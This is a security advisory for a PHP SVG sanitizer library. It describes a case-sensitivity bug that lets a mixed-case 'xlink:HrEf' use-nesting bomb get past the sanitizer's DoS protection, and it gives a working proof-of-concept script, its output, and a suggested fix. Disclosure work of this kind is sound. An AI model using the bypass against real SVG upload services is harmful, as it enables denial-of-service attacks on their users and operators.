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GHSA-m9xh-6747-9r6f
Summary
Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.
This is the mirror image of CVE-2025-55166: that fix made href value checking case insensitive, but the <use> reference graph still selects nodes case sensitively.
Where it is
src/ElementReference/Resolver.php:97-118, the case-sensitive node selection:
$useNodeName = $this->xPath->createNodeName('use');
foreach ($this->subjects as $subject) {
$useElements = $this->xPath->query(
$useNodeName . '[@href or @xlink:href]',
$subject->getElement()
);
src/Sanitizer.php:479-504, the normalization that happens afterwards and makes the attribute live again:
// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`
if (!in_array($attribute->nodeName, $this->allowedAttrs, true)
&& in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)
) {
$element->removeAttribute($attribute->nodeName);
$element->setAttribute(strtolower($attribute->nodeName), $attribute->value);
}
Ordering is the whole bug. Sanitizer::sanitize() builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.
Impact
Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.
Proof of concept
Against a clean clone of tag 0.22.0. The only change to the input is rewriting xlink:href to xlink:HrEf in the project's own DoS fixture.
<?php
spl_autoload_register(function ($class) {
$p = 'enshrined\\svgSanitize\\';
if (strpos($class, $p) !== 0) return;
$rel = str_replace('\\', '/', substr($class, strlen($p)));
$f = __DIR__ . '/svgsan/src/' . $rel . '.php';
if (file_exists($f)) require $f;
});
$orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg');
$mut = str_replace('xlink:href', 'xlink:HrEf', $orig);
function run($label, $input) {
$s = new \enshrined\svgSanitize\Sanitizer();
$s->removeRemoteReferences(true);
$out = $s->sanitize($input);
echo "[$label]\n";
echo " output <use count : ", substr_count($out, '<use '), "\n";
echo " output xlink:href : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n";
echo " output xlink:HrEf : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n";
}
run('canonical xlink:href (control)', $orig);
run('mixed-case xlink:HrEf (attack)', $mut);
Observed on PHP 8.5.9:
orig use count: 201
mutated input has xlink:HrEf: YES
[canonical xlink:href (control)]
output <use count : 0
output xlink:href : NO
output xlink:HrEf : NO
[mixed-case xlink:HrEf (attack)]
output <use count : 201
output xlink:href : YES
output xlink:HrEf : NO
201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to useDosTest.svg.
Suggested fix
Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant use and resolve the href in PHP with a case-insensitive local-name lookup (an extension of Helper::getElementHref() at Helper.php:10-19 is the smallest change), or move the cleanHrefAttributes() canonicalization so it runs before $this->elementReferenceResolver->collect() rather than after, so the resolver only ever sees href and xlink:href. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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